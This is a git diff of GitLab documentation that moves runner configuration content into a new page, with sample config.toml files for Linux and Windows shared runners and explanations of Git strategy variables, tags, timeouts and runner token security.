-to run tagged and untagged jobs.
-
-Example 1:
-
-1. The runner is configured to run untagged jobs and has the `docker` tag.
-1. A job that has no tags defined is executed and run.
-1. A second job that has a `docker` tag defined is executed and run.
-
-Example 2:
-
-1. The runner is configured to run untagged jobs and has no tags defined.
-1. A job that has no tags defined is executed and run.
-1. A second job that has a `docker` tag defined is stuck.
-
-## Configure runner behavior with variables
-
-You can use [CI/CD variables](../variables/README.md) to configure runner Git behavior
-globally or for individual jobs:
-
-- [`GIT_STRATEGY`](#git-strategy)
-- [`GIT_SUBMODULE_STRATEGY`](#git-submodule-strategy)
-- [`GIT_CHECKOUT`](#git-checkout)
-- [`GIT_CLEAN_FLAGS`](#git-clean-flags)
-- [`GIT_FETCH_EXTRA_FLAGS`](#git-fetch-extra-flags)
-- [`GIT_DEPTH`](#shallow-cloning) (shallow cloning)
-- [`GIT_CLONE_PATH`](#custom-build-directories) (custom build directories)
-
-You can also use variables to configure how many times a runner
-[attempts certain stages of job execution](#job-stages-attempts).
-
-### Git strategy
-
-> - Introduced in GitLab 8.9 as an experimental feature.
-> - `GIT_STRATEGY=none` requires GitLab Runner v1.7+.
-
-You can set the `GIT_STRATEGY` used to fetch the repository content, either
-globally or per-job in the [`variables`](../yaml/README.md#variables) section:
-
-```yaml
-variables:
- GIT_STRATEGY: clone
-```
-
-There are three possible values: `clone`, `fetch`, and `none`. If left unspecified,
-jobs use the [project's pipeline setting](../pipelines/settings.md#git-strategy).
-
-`clone` is the slowest option. It clones the repository from scratch for every
-job, ensuring that the local working copy is always pristine.
-If an existing worktree is found, it is removed before cloning.
-
-`fetch` is faster as it re-uses the local working copy (falling back to `clone`
-if it does not exist). `git clean` is used to undo any changes made by the last
-job, and `git fetch` is used to retrieve commits made after the last job ran.
-
-However, `fetch` does require access to the previous worktree. This works
-well when using the `shell` or `docker` executor because these
-try to preserve worktrees and try to re-use them by default.
-
-This has limitations when using the [Docker Machine executor](https://docs.gitlab.com/runner/executors/docker_machine.html).
-
-It does not work for [the `kubernetes` executor](https://docs.gitlab.com/runner/executors/kubernetes.html),
-but a [feature proposal](https://gitlab.com/gitlab-org/gitlab-runner/-/issues/3847) exists.
-The `kubernetes` executor always clones into an temporary directory.
-
-A Git strategy of `none` also re-uses the local working copy, but skips all Git
-operations normally done by GitLab. GitLab Runner pre-clone scripts are also skipped,
-if present. This strategy could mean you need to add `fetch` and `checkout` commands
-to [your `.gitlab-ci.yml` script](../yaml/README.md#script).
-
-It can be used for jobs that operate exclusively on artifacts, like a deployment job.
-Git repository data may be present, but it's likely out of date. You should only
-rely on files brought into the local working copy from cache or artifacts.
-
-### Git submodule strategy
-
-> Requires GitLab Runner v1.10+.
-
-The `GIT_SUBMODULE_STRATEGY` variable is used to control if / how Git
-submodules are included when fetching the code before a build. You can set them
-globally or per-job in the [`variables`](../yaml/README.md#variables) section.
-
-There are three possible values: `none`, `normal`, and `recursive`:
-
-- `none` means that submodules are not included when fetching the project
- code. This is the default, which matches the pre-v1.10 behavior.
-
-- `normal` means that only the top-level submodules are included. It's
- equivalent to:
-
- ```shell
- git submodule sync
- git submodule update --init
- ```
-
-- `recursive` means that all submodules (including submodules of submodules)
- are included. This feature needs Git v1.8.1 and later. When using a
- GitLab Runner with an executor not based on Docker, make sure the Git version
- meets that requirement. It's equivalent to:
-
- ```shell
- git submodule sync --recursive
- git submodule update --init --recursive
- ```
-
-For this feature to work correctly, the submodules must be configured
-(in `.gitmodules`) with either:
-
-- the HTTP(S) URL of a publicly-accessible repository, or
-- a relative path to another repository on the same GitLab server. See the
- [Git submodules](../git_submodules.md) documentation.
-
-### Git checkout
-
-> Introduced in GitLab Runner 9.3.
-
-The `GIT_CHECKOUT` variable can be used when the `GIT_STRATEGY` is set to either
-`clone` or `fetch` to specify whether a `git checkout` should be run. If not
-specified, it defaults to true. You can set them globally or per-job in the
-[`variables`](../yaml/README.md#variables) section.
-
-If set to `false`, the runner:
-
-- when doing `fetch` - updates the repository and leaves the working copy on
- the current revision,
-- when doing `clone` - clones the repository and leaves the working copy on the
- default branch.
-
-If `GIT_CHECKOUT` is set to `true`, both `clone` and `fetch` work the same way.
-The runner checks out the working copy of a revision related
-to the CI pipeline:
-
-```yaml
-variables:
- GIT_STRATEGY: clone
- GIT_CHECKOUT: "false"
-script:
- - git checkout -B master origin/master
- - git merge $CI_COMMIT_SHA
-```
-
-### Git clean flags
-
-> Introduced in GitLab Runner 11.10
-
-The `GIT_CLEAN_FLAGS` variable is used to control the default behavior of
-`git clean` after checking out the sources. You can set it globally or per-job in the
-[`variables`](../yaml/README.md#variables) section.
-
-`GIT_CLEAN_FLAGS` accepts all possible options of the [`git clean`](https://git-scm.com/docs/git-clean)
-command.
-
-`git clean` is disabled if `GIT_CHECKOUT: "false"` is specified.
-
-If `GIT_CLEAN_FLAGS` is:
-
-- Not specified, `git clean` flags default to `-ffdx`.
-- Given the value `none`, `git clean` is not executed.
-
-For example:
-
-```yaml
-variables:
- GIT_CLEAN_FLAGS: -ffdx -e cache/
-script:
- - ls -al cache/
-```
-
-### Git fetch extra flags
-
-> [Introduced](https://gitlab.com/gitlab-org/gitlab-runner/-/issues/4142) in GitLab Runner 13.1.
-
-The `GIT_FETCH_EXTRA_FLAGS` variable is used to control the behavior of
-`git fetch`. You can set it globally or per-job in the [`variables`](../yaml/README.md#variables) section.
-
-`GIT_FETCH_EXTRA_FLAGS` accepts all options of the [`git fetch`](https://git-scm.com/docs/git-fetch) command. However, `GIT_FETCH_EXTRA_FLAGS` flags are appended after the default flags that can't be modified.
-
-The default flags are:
-
-- [GIT_DEPTH](#shallow-cloning).
-- The list of [refspecs](https://git-scm.com/book/en/v2/Git-Internals-The-Refspec).
-- A remote called `origin`.
-
-If `GIT_FETCH_EXTRA_FLAGS` is:
-
-- Not specified, `git fetch` flags default to `--prune --quiet` along with the default flags.
-- Given the value `none`, `git fetch` is executed only with the default flags.
-
-For example, the default flags are `--prune --quiet`, so you can make `git fetch` more verbose by overriding this with just `--prune`:
-
-```yaml
-variables:
- GIT_FETCH_EXTRA_FLAGS: --prune
-script:
- - ls -al cache/
-```
-
-The configuration above results in `git fetch` being called this way:
-
-```shell
-git fetch origin $REFSPECS --depth 50 --prune
+Settings that are not public are shown as `X`.
+
+**Google Cloud Platform**
+
+```toml
+concurrent = X
+check_interval = 1
+metrics_server = "X"
+sentry_dsn = "X"
+
+[[runners]]
+ name = "docker-auto-scale"
+ request_concurrency = X
+ url = "https://gitlab.com/"
+ token = "SHARED_RUNNER_TOKEN"
+ pre_clone_script = "eval \"$CI_PRE_CLONE_SCRIPT\""
+ executor = "docker+machine"
+ environment = [
+ "DOCKER_DRIVER=overlay2",
+ "DOCKER_TLS_CERTDIR="
+ ]
+ limit = X
+ [runners.docker]
+ image = "ruby:2.5"
+ privileged = true
+ volumes = [
+ "/certs/client",
+ "/dummy-sys-class-dmi-id:/sys/class/dmi/id:ro" # Make kaniko builds work on GCP.
+ ]
+ [runners.machine]
+ IdleCount = 50
+ IdleTime = 3600
+ MaxBuilds = 1 # For security reasons we delete the VM after job has finished so it's not reused.
+ MachineName = "srm-%s"
+ MachineDriver = "google"
+ MachineOptions = [
+ "google-project=PROJECT",
+ "google-disk-size=25",
+ "google-machine-type=n1-standard-1",
+ "google-username=core",
+ "google-tags=gitlab-com,srm",
+ "google-use-internal-ip",
+ "google-zone=us-east1-d",
+ "engine-opt=mtu=1460", # Set MTU for container interface, for more information check https://gitlab.com/gitlab-org/gitlab-runner/-/issues/3214#note_82892928
+ "google-machine-image=PROJECT/global/images/IMAGE",
+ "engine-opt=ipv6", # This will create IPv6 interfaces in the containers.
+ "engine-opt=fixed-cidr-v6=fc00::/7",
+ "google-operation-backoff-initial-interval=2" # Custom flag from forked docker-machine, for more information check https://github.com/docker/machine/pull/4600
+ ]
+ [[runners.machine.autoscaling]]
+ Periods = ["* * * * * sat,sun *"]
+ Timezone = "UTC"
+ IdleCount = 70
+ IdleTime = 3600
+ [[runners.machine.autoscaling]]
+ Periods = ["* 30-59 3 * * * *", "* 0-30 4 * * * *"]
+ Timezone = "UTC"
+ IdleCount = 700
+ IdleTime = 3600
+ [runners.cache]
+ Type = "gcs"
+ Shared = true
+ [runners.cache.gcs]
+ CredentialsFile = "/path/to/file"
+ BucketName = "bucket-name"
```
-Where `$REFSPECS` is a value provided to the runner internally by GitLab.
+## Windows shared runners (beta)
-### Shallow cloning
+The Windows shared runners are in [beta](https://about.gitlab.com/handbook/product/gitlab-the-product/#beta)
+and shouldn't be used for production workloads.
-> Introduced in GitLab 8.9 as an experimental feature.
+During this beta period, the [shared runner pipeline quota](../../user/admin_area/settings/continuous_integration.md#shared-runners-pipeline-minutes-quota)
+applies for groups and projects in the same manner as Linux runners. This may
+change when the beta period ends, as discussed in this [related issue](https://gitlab.com/gitlab-org/gitlab/-/issues/30834).
-You can specify the depth of fetching and cloning using `GIT_DEPTH`.
-`GIT_DEPTH` does a shallow clone of the repository and can significantly speed up cloning.
-It can be helpful for repositories with a large number of commits or old, large binaries. The value is
-passed to `git fetch` and `git clone`.
+Windows shared runners on GitLab.com autoscale by launching virtual machines on
+the Google Cloud Platform. This solution uses an
+[autoscaling driver](https://gitlab.com/gitlab-org/ci-cd/custom-executor-drivers/autoscaler/tree/master/docs/readme.md)
+developed by GitLab for the [custom executor](https://docs.gitlab.com/runner/executors/custom.html).
+Windows shared runners execute your CI/CD jobs on `n1-standard-2` instances with
+2 vCPUs and 7.5 GB RAM. You can find a full list of available Windows packages in
+the [package documentation](https://gitlab.com/gitlab-org/ci-cd/shared-runners/images/gcp/windows-containers/blob/master/cookbooks/preinstalled-software/README.md).
-In GitLab 12.0 and later, newly-created projects automatically have a
-[default `git depth` value of `50`](../pipelines/settings.md#git-shallow-clone).
+We want to keep iterating to get Windows shared runners in a stable state and
+[generally available](https://about.gitlab.com/handbook/product/gitlab-the-product/#generally-available-ga).
+You can follow our work towards this goal in the
+[related epic](https://gitlab.com/groups/gitlab-org/-/epics/2162).
-If you use a depth of `1` and have a queue of jobs or retry
-jobs, jobs may fail.
+### Configuration
-Git fetching and cloning is based on a ref, such as a branch name, so runners
-can't clone a specific commit SHA. If multiple jobs are in the queue, or
-you're retrying an old job, the commit to be tested must be within the
-Git history that is cloned. Setting too small a value for `GIT_DEPTH` can make
-it impossible to run these old commits and `unresolved reference` is displayed in
-job logs. You should then reconsider changing `GIT_DEPTH` to a higher value.
+The full contents of our `config.toml` are:
-Jobs that rely on `git describe` may not work correctly when `GIT_DEPTH` is
-set since only part of the Git history is present.
-
-To fetch or clone only the last 3 commits:
-
-```yaml
-variables:
- GIT_DEPTH: "3"
+NOTE:
+Settings that aren't public are shown as `X`.
+
+```toml
+concurrent = X
+check_interval = 3
+
+[[runners]]
+ name = "windows-runner"
+ url = "https://gitlab.com/"
+ token = "TOKEN"
+ executor = "custom"
+ builds_dir = "C:\\GitLab-Runner\\builds"
+ cache_dir = "C:\\GitLab-Runner\\cache"
+ shell = "powershell"
+ [runners.custom]
+ config_exec = "C:\\GitLab-Runner\\autoscaler\\autoscaler.exe"
+ config_args = ["--config", "C:\\GitLab-Runner\\autoscaler\\config.toml", "custom", "config"]
+ prepare_exec = "C:\\GitLab-Runner\\autoscaler\\autoscaler.exe"
+ prepare_args = ["--config", "C:\\GitLab-Runner\\autoscaler\\config.toml", "custom", "prepare"]
+ run_exec = "C:\\GitLab-Runner\\autoscaler\\autoscaler.exe"
+ run_args = ["--config", "C:\\GitLab-Runner\\autoscaler\\config.toml", "custom", "run"]
+ cleanup_exec = "C:\\GitLab-Runner\\autoscaler\\autoscaler.exe"
+ cleanup_args = ["--config", "C:\\GitLab-Runner\\autoscaler\\config.toml", "custom", "cleanup"]
```
-You can set it globally or per-job in the [`variables`](../yaml/README.md#variables) section.
-
-### Custom build directories
-
-> [Introduced](https://gitlab.com/gitlab-org/gitlab-runner/-/issues/2211) in GitLab Runner 11.10.
-
-By default, GitLab Runner clones the repository in a unique subpath of the
-`$CI_BUILDS_DIR` directory. However, your project might require the code in a
-specific directory (Go projects, for example). In that case, you can specify
-the `GIT_CLONE_PATH` variable to tell the runner the directory to clone the
-repository in:
-
-```yaml
-variables:
- GIT_CLONE_PATH: $CI_BUILDS_DIR/project-name
-
-test:
- script:
- - pwd
+The full contents of our `autoscaler/config.toml` are:
+
+```toml
+Provider = "gcp"
+Executor = "winrm"
+OS = "windows"
+LogLevel = "info"
+LogFormat = "text"
+LogFile = "C:\\GitLab-Runner\\autoscaler\\autoscaler.log"
+VMTag = "windows"
+
+[GCP]
+ ServiceAccountFile = "PATH"
+ Project = "some-project-df9323"
+ Zone = "us-east1-c"
+ MachineType = "n1-standard-2"
+ Image = "IMAGE"
+ DiskSize = 50
+ DiskType = "pd-standard"
+ Subnetwork = "default"
+ Network = "default"
+ Tags = ["TAGS"]
+ Username = "gitlab_runner"
+
+[WinRM]
+ MaximumTimeout = 3600
+ ExecutionMaxRetries = 0
+
+[ProviderCache]
+ Enabled = true
+ Directory = "C:\\GitLab-Runner\\autoscaler\\machines"
```
-The `GIT_CLONE_PATH` has to always be within `$CI_BUILDS_DIR`. The directory set in `$CI_BUILDS_DIR`
-is dependent on executor and configuration of [runners.builds_dir](https://docs.gitlab.com/runner/configuration/advanced-configuration.html#the-runners-section)
-setting.
-
-This can only be used when `custom_build_dir` is enabled in the
-[runner's configuration](https://docs.gitlab.com/runner/configuration/advanced-configuration.html#the-runnerscustom_build_dir-section).
-This is the default configuration for the `docker` and `kubernetes` executors.
-
-#### Handling concurrency
-
-An executor that uses a concurrency greater than `1` might lead
-to failures. Multiple jobs might be working on the same directory if the `builds_dir`
-is shared between jobs.
-
-The runner does not try to prevent this situation. It's up to the administrator
-and developers to comply with the requirements of runner configuration.
+### Example
-To avoid this scenario, you can use a unique path within `$CI_BUILDS_DIR`, because runner
-exposes two additional variables that provide a unique `ID` of concurrency:
-
-- `$CI_CONCURRENT_ID`: Unique ID for all jobs running within the given executor.
-- `$CI_CONCURRENT_PROJECT_ID`: Unique ID for all jobs running within the given executor and project.
-
-The most stable configuration that should work well in any scenario and on any executor
-is to use `$CI_CONCURRENT_ID` in the `GIT_CLONE_PATH`. For example:
+Below is a simple `.gitlab-ci.yml` file to show how to start using the
+Windows shared runners:
```yaml
-variables:
- GIT_CLONE_PATH: $CI_BUILDS_DIR/$CI_CONCURRENT_ID/project-name
-
-test:
+.shared_windows_runners:
+ tags:
+ - shared-windows
+ - windows
+ - windows-1809
+
+stages:
+ - build
+ - test
+
+before_script:
+ - Set-Variable -Name "time" -Value (date -Format "%H:%m")
+ - echo ${time}
+ - echo "started by ${GITLAB_USER_NAME}"
+
+build:
+ extends:
+ - .shared_windows_runners
+ stage: build
script:
- - pwd
-```
-
-The `$CI_CONCURRENT_PROJECT_ID` should be used in conjunction with `$CI_PROJECT_PATH`
-as the `$CI_PROJECT_PATH` provides a path of a repository. That is, `group/subgroup/project`. For example:
-
-```yaml
-variables:
- GIT_CLONE_PATH: $CI_BUILDS_DIR/$CI_CONCURRENT_ID/$CI_PROJECT_PATH
+ - echo "running scripts in the build job"
test:
+ extends:
+ - .shared_windows_runners
+ stage: test
script:
- - pwd
-```
-
-#### Nested paths
-
-The value of `GIT_CLONE_PATH` is expanded once and nesting variables
-within is not supported.
-
-For example, you define both the variables below in your
-`.gitlab-ci.yml` file:
-
-```yaml
-variables:
- GOPATH: $CI_BUILDS_DIR/go
- GIT_CLONE_PATH: $GOPATH/src/namespace/project
-```
-
-The value of `GIT_CLONE_PATH` is expanded once into
-`$CI_BUILDS_DIR/go/src/namespace/project`, and results in failure
-because `$CI_BUILDS_DIR` is not expanded.
-
-### Job stages attempts
-
-> Introduced in GitLab, it requires GitLab Runner v1.9+.
-
-You can set the number of attempts that the running job tries to execute
-the following stages:
-
-| Variable | Description |
-|---------------------------------|--------------------------------------------------------|
-| `ARTIFACT_DOWNLOAD_ATTEMPTS` | Number of attempts to download artifacts running a job |
-| `EXECUTOR_JOB_SECTION_ATTEMPTS` | [In GitLab 12.10](https://gitlab.com/gitlab-org/gitlab-runner/-/issues/4450) and later, the number of attempts to run a section in a job after a [`No Such Container`](https://gitlab.com/gitlab-org/gitlab-runner/-/issues/4450) error ([Docker executor](https://docs.gitlab.com/runner/executors/docker.html) only). |
-| `GET_SOURCES_ATTEMPTS` | Number of attempts to fetch sources running a job |
-| `RESTORE_CACHE_ATTEMPTS` | Number of attempts to restore the cache running a job |
-
-The default is one single attempt.
-
-Example:
-
-```yaml
-variables:
- GET_SOURCES_ATTEMPTS: 3
-```
-
-You can set them globally or per-job in the [`variables`](../yaml/README.md#variables) section.
-
-## System calls not available on GitLab.com shared runners
-
-GitLab.com shared runners run on CoreOS. This means that you cannot use some system calls, like `getlogin`, from the C standard library.
-
-## Artifact and cache settings
-
-> Introduced in GitLab Runner 13.9.
-
-Artifact and cache settings control the compression ratio of artifacts and caches.
-Use these settings to specify the size of the archive produced by a job.
-
-- On a slow network, uploads might be faster for smaller archives.
-- On a fast network where bandwidth and storage are not a concern, uploads might be faster using the fastest compression ratio, despite the archive produced being larger.
-
-For [GitLab Pages](../../user/project/pages/index.md) to serve
-[HTTP Range requests](https://developer.mozilla.org/en-US/docs/Web/HTTP/Range_requests), artifacts
-should use the `ARTIFACT_COMPRESSION_LEVEL: fastest` setting, as only uncompressed zip archives
-support this feature.
-
-A meter can also be enabled to provide the rate of transfer for uploads and downloads.
-
-```yaml
-variables:
- # output upload and download progress every 2 seconds
- TRANSFER_METER_FREQUENCY: "2s"
-
- # Use fast compression for artifacts, resulting in larger archives
- ARTIFACT_COMPRESSION_LEVEL: "fast"
-
- # Use no compression for caches
- CACHE_COMPRESSION_LEVEL: "fastest"
+ - echo "running scripts in the test job"
```
-| Variable | Description |
-|---------------------------------|--------------------------------------------------------|
-| `TRANSFER_METER_FREQUENCY` | Specify how often to print the meter's transfer rate. It can be set to a duration (for example, `1s` or `1m30s`). A duration of `0` disables the meter (default). When a value is set, the pipeline shows a progress meter for artifact and cache uploads and downloads. |
-| `ARTIFACT_COMPRESSION_LEVEL` | To adjust compression ratio, set to `fastest`, `fast`, `default`, `slow`, or `slowest`. This setting works with the Fastzip archiver only, so the GitLab Runner feature flag [`FF_USE_FASTZIP`](https://docs.gitlab.com/runner/configuration/feature-flags.html#available-feature-flags) must also be enabled. |
-| `CACHE_COMPRESSION_LEVEL` | To adjust compression ratio, set to `fastest`, `fast`, `default`, `slow`, or `slowest`. This setting works with the Fastzip archiver only, so the GitLab Runner feature flag [`FF_USE_FASTZIP`](https://docs.gitlab.com/runner/configuration/feature-flags.html#available-feature-flags) must also be enabled. |
+### Limitations and known issues
+
+- All the limitations mentioned in our [beta
+ definition](https://about.gitlab.com/handbook/product/#beta).
+- The average provisioning time for a new Windows VM is 5 minutes.
+ This means that you may notice slower build start times
+ on the Windows shared runner fleet during the beta. In a future
+ release we intend to update the autoscaler to enable
+ the pre-provisioning of virtual machines. This is intended to significantly reduce
+ the time it takes to provision a VM on the Windows fleet. You can
+ follow along in the [related issue](https://gitlab.com/gitlab-org/ci-cd/custom-executor-drivers/autoscaler/-/issues/32).
+- The Windows shared runner fleet may be unavailable occasionally
+ for maintenance or updates.
+- The Windows shared runner virtual machine instances do not use the
+ GitLab Docker executor. This means that you can't specify
+ [`image`](../../ci/yaml/README.md#image) or [`services`](../../ci/yaml/README.md#services) in
+ your pipeline configuration.
+- For the beta release, we have included a set of software packages in
+ the base VM image. If your CI job requires additional software that's
+ not included in this list, then you must add installation
+ commands to [`before_script`](../../ci/yaml/README.md#before_script) or [`script`](../../ci/yaml/README.md#script) to install the required
+ software. Note that each job runs on a new VM instance, so the
+ installation of additional software packages needs to be repeated for
+ each job in your pipeline.
+- The job may stay in a pending state for longer than the
+ Linux shared runners.
+- There is the possibility that we introduce breaking changes which will
+ require updates to pipelines that are using the Windows shared runner
+ fleet.
diff --git a/doc/ci/runners/configure_runners.md b/doc/ci/runners/configure_runners.md
new file mode 100644
index 00000000000..775de26b772
--- /dev/null
+++ b/doc/ci/runners/configure_runners.md
@@ -0,0 +1,601 @@
+---
+stage: Verify
+group: Runner
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
+type: reference
+---
+
+# Configuring runners
+
+If you have installed your own runners, you can configure and secure them in GitLab.
+
+If you need to configure runners on the machine where you installed GitLab Runner, see
+[the GitLab Runner documentation](https://docs.gitlab.com/runner/configuration).
+
+## Manually clear the runner cache
+
+Read [clearing the cache](../caching/index.md#clearing-the-cache).
+
+## Set maximum job timeout for a runner
+
+For each runner, you can specify a *maximum job timeout*. This timeout,
+if smaller than the [project defined timeout](../pipelines/settings.md#timeout), takes precedence.
+
+This feature can be used to prevent your shared runner from being overwhelmed
+by a project that has jobs with a long timeout (for example, one week).
+
+When not configured, runners do not override the project timeout.
+
+On GitLab.com, you cannot override the job timeout for shared runners and must use the [project defined timeout](../pipelines/settings.md#timeout).
+
+To set the maximum job timeout:
+
+1. In a project, go to **Settings > CI/CD > Runners**.
+1. Select your specific runner to edit the settings.
+1. Enter a value under **Maximum job timeout**.
+1. Select **Save changes**.
+
+How this feature works:
+
+**Example 1 - Runner timeout bigger than project timeout**
+
+1. You set the _maximum job timeout_ for a runner to 24 hours
+1. You set the _CI/CD Timeout_ for a project to **2 hours**
+1. You start a job
+1. The job, if running longer, times out after **2 hours**
+
+**Example 2 - Runner timeout not configured**
+
+1. You remove the _maximum job timeout_ configuration from a runner
+1. You set the _CI/CD Timeout_ for a project to **2 hours**
+1. You start a job
+1. The job, if running longer, times out after **2 hours**
+
+**Example 3 - Runner timeout smaller than project timeout**
+
+1. You set the _maximum job timeout_ for a runner to **30 minutes**
+1. You set the _CI/CD Timeout_ for a project to 2 hours
+1. You start a job
+1. The job, if running longer, times out after **30 minutes**
+
+## Be careful with sensitive information
+
+With some [runner executors](https://docs.gitlab.com/runner/executors/README.html),
+if you can run a job on the runner, you can get full access to the file system,
+and thus any code it runs as well as the token of the runner. With shared runners, this means that anyone
+that runs jobs on the runner, can access anyone else's code that runs on the
+runner.
+
+In addition, because you can get access to the runner token, it is possible
+to create a clone of a runner and submit false jobs, for example.
+
+The above is easily avoided by restricting the usage of shared runners
+on large public GitLab instances, controlling access to your GitLab instance,
+and using more secure [runner executors](https://docs.gitlab.com/runner/executors/README.html).
+
+### Prevent runners from revealing sensitive information
+
+> [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/13194) in GitLab 10.0.
+
+You can protect runners so they don't reveal sensitive information.
+When a runner is protected, the runner picks jobs created on
+[protected branches](../../user/project/protected_branches.md) or [protected tags](../../user/project/protected_tags.md) only,
+and ignores other jobs.
+
+To protect or unprotect a runner:
+
+1. Go to the project's **Settings > CI/CD** and expand the **Runners** section.
+1. Find the runner you want to protect or unprotect. Make sure it's enabled.
+1. Click the pencil button.
+1. Check the **Protected** option.
+1. Click **Save changes**.
+
+![specific runners edit icon](img/protected_runners_check_box.png)
+
+### Forks
+
+Whenever a project is forked, it copies the settings of the jobs that relate
+to it. This means that if you have shared runners set up for a project and
+someone forks that project, the shared runners serve jobs of this project.
+
+### Attack vectors in runners
+
+Mentioned briefly earlier, but the following things of runners can be exploited.
+We're always looking for contributions that can mitigate these
+[Security Considerations](https://docs.gitlab.com/runner/security/).
+
+### Reset the runner registration token for a project
+
+If you think that a registration token for a project was revealed, you should
+reset it. A token can be used to register another runner for the project. That new runner
+may then be used to obtain the values of secret variables or to clone project code.
+
+To reset the token:
+
+1. Go to the project's **Settings > CI/CD**.
+1. Expand the **General pipelines settings** section.
+1. Find the **Runner token** form field and click the **Reveal value** button.
+1. Delete the value and save the form.
+1. After the page is refreshed, expand the **Runners settings** section
+ and check the registration token - it should be changed.
+
+From now on the old token is no longer valid and does not register
+any new runners to the project. If you are using any tools to provision and
+register new runners, the tokens used in those tools should be updated to reflect the
+value of the new token.
+
+## Determine the IP address of a runner
+
+> [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/17286) in GitLab 10.6.
+
+It may be useful to know the IP address of a runner so you can troubleshoot
+issues with that runner. GitLab stores and displays the IP address by viewing
+the source of the HTTP requests it makes to GitLab when polling for jobs. The
+IP address is always kept up to date so if the runner IP changes it
+automatically updates in GitLab.
+
+The IP address for shared runners and specific runners can be found in
+different places.
+
+### Determine the IP address of a shared runner
+
+To view the IP address of a shared runner you must have admin access to
+the GitLab instance. To determine this:
+
+1. On the top bar, select **Menu >** **{admin}** **Admin**.
+1. On the left sidebar, select **Overview > Runners**.
+1. Find the runner in the table and view the **IP Address** column.
+
+![shared runner IP address](img/shared_runner_ip_address.png)
+
+### Determine the IP address of a specific runner
+
+To can find the IP address of a runner for a specific project,
+you must have the [Owner role](../../user/permissions.md#project-members-permissions) for the
+project.
+
+1. Go to the project's **Settings > CI/CD** and expand the **Runners** section.
+1. On the details page you should see a row for **IP Address**.
+
+![specific runner IP address](img/specific_runner_ip_address.png)
+
+## Use tags to limit the number of jobs using the runner
+
+You must set up a runner to be able to run all the different types of jobs
+that it may encounter on the projects it's shared over. This would be
+problematic for large amounts of projects, if it weren't for tags.
+
+GitLab CI tags are not the same as Git tags. GitLab CI tags are associated with runners.
+Git tags are associated with commits.
+
+By tagging a runner for the types of jobs it can handle, you can make sure
+shared runners will [only run the jobs they are equipped to run](../yaml/README.md#tags).
+
+For instance, at GitLab we have runners tagged with `rails` if they contain
+the appropriate dependencies to run Rails test suites.
+
+When you [register a runner](https://docs.gitlab.com/runner/register/), its default behavior is to **only pick**
+[tagged jobs](../yaml/README.md#tags).
+To change this, you must have the [Owner role](../../user/permissions.md#project-members-permissions) for the project.
+
+To make a runner pick untagged jobs:
+
+1. Go to the project's **Settings > CI/CD** and expand the **Runners** section.
+1. Find the runner you want to pick untagged jobs and make sure it's enabled.
+1. Click the pencil button.
+1. Check the **Run untagged jobs** option.
+1. Click the **Save changes** button for the changes to take effect.
+
+NOTE:
+The runner tags list can not be empty when it's not allowed to pick untagged jobs.
+
+Below are some example scenarios of different variations.
+
+### runner runs only tagged jobs
+
+The following examples illustrate the potential impact of the runner being set
+to run only tagged jobs.
+
+Example 1:
+
+1. The runner is configured to run only tagged jobs and has the `docker` tag.
+1. A job that has a `hello` tag is executed and stuck.
+
+Example 2:
+
+1. The runner is configured to run only tagged jobs and has the `docker` tag.
+1. A job that has a `docker` tag is executed and run.
+
+Example 3:
+
+1. The runner is configured to run only tagged jobs and has the `docker` tag.
+1. A job that has no tags defined is executed and stuck.
+
+### runner is allowed to run untagged jobs
+
+The following examples illustrate the potential impact of the runner being set
+to run tagged and untagged jobs.
+
+Example 1:
+
+1. The runner is configured to run untagged jobs and has the `docker` tag.
+1. A job that has no tags defined is executed and run.
+1. A second job that has a `docker` tag defined is executed and run.
+
+Example 2:
+
+1. The runner is configured to run untagged jobs and has no tags defined.
+1. A job that has no tags defined is executed and run.
+1. A second job that has a `docker` tag defined is stuck.
+
+## Configure runner behavior with variables
+
+You can use [CI/CD variables](../variables/README.md) to configure runner Git behavior
+globally or for individual jobs:
+
+- [`GIT_STRATEGY`](#git-strategy)
+- [`GIT_SUBMODULE_STRATEGY`](#git-submodule-strategy)
+- [`GIT_CHECKOUT`](#git-checkout)
+- [`GIT_CLEAN_FLAGS`](#git-clean-flags)
+- [`GIT_FETCH_EXTRA_FLAGS`](#git-fetch-extra-flags)
+- [`GIT_DEPTH`](#shallow-cloning) (shallow cloning)
+- [`GIT_CLONE_PATH`](#custom-build-directories) (custom build directories)
+
+You can also use variables to configure how many times a runner
+[attempts certain stages of job execution](#job-stages-attempts).
+
+### Git strategy
+
+> - Introduced in GitLab 8.9 as an experimental feature.
+> - `GIT_STRATEGY=none` requires GitLab Runner v1.7+.
+
+You can set the `GIT_STRATEGY` used to fetch the repository content, either
+globally or per-job in the [`variables`](../yaml/README.md#variables) section:
+
+```yaml
+variables:
+ GIT_STRATEGY: clone
+```
+
+There are three possible values: `clone`, `fetch`, and `none`. If left unspecified,
+jobs use the [project's pipeline setting](../pipelines/settings.md#git-strategy).
+
+`clone` is the slowest option. It clones the repository from scratch for every
+job, ensuring that the local working copy is always pristine.
+If an existing worktree is found, it is removed before cloning.
+
+`fetch` is faster as it re-uses the local working copy (falling back to `clone`
+if it does not exist). `git clean` is used to undo any changes made by the last
+job, and `git fetch` is used to retrieve commits made after the last job ran.
+
+However, `fetch` does require access to the previous worktree. This works
+well when using the `shell` or `docker` executor because these
+try to preserve worktrees and try to re-use them by default.
+
+This has limitations when using the [Docker Machine executor](https://docs.gitlab.com/runner/executors/docker_machine.html).
+
+It does not work for [the `kubernetes` executor](https://docs.gitlab.com/runner/executors/kubernetes.html),
+but a [feature proposal](https://gitlab.com/gitlab-org/gitlab-runner/-/issues/3847) exists.
+The `kubernetes` executor always clones into an temporary directory.
+
+A Git strategy of `none` also re-uses the local working copy, but skips all Git
+operations normally done by GitLab. GitLab Runner pre-clone scripts are also skipped,
+if present. This strategy could mean you need to add `fetch` and `checkout` commands
+to [your `.gitlab-ci.yml` script](../yaml/README.md#script).
+
+It can be used for jobs that operate exclusively on artifacts, like a deployment job.
+Git repository data may be present, but it's likely out of date. You should only
+rely on files brought into the local working copy from cache or artifacts.
+
+### Git submodule strategy
+
+> Requires GitLab Runner v1.10+.
+
+The `GIT_SUBMODULE_STRATEGY` variable is used to control if / how Git
+submodules are included when fetching the code before a build. You can set them
+globally or per-job in the [`variables`](../yaml/README.md#variables) section.
+
+There are three possible values: `none`, `normal`, and `recursive`:
+
+- `none` means that submodules are not included when fetching the project
+ code. This is the default, which matches the pre-v1.10 behavior.
+
+- `normal` means that only the top-level submodules are included. It's
+ equivalent to:
+
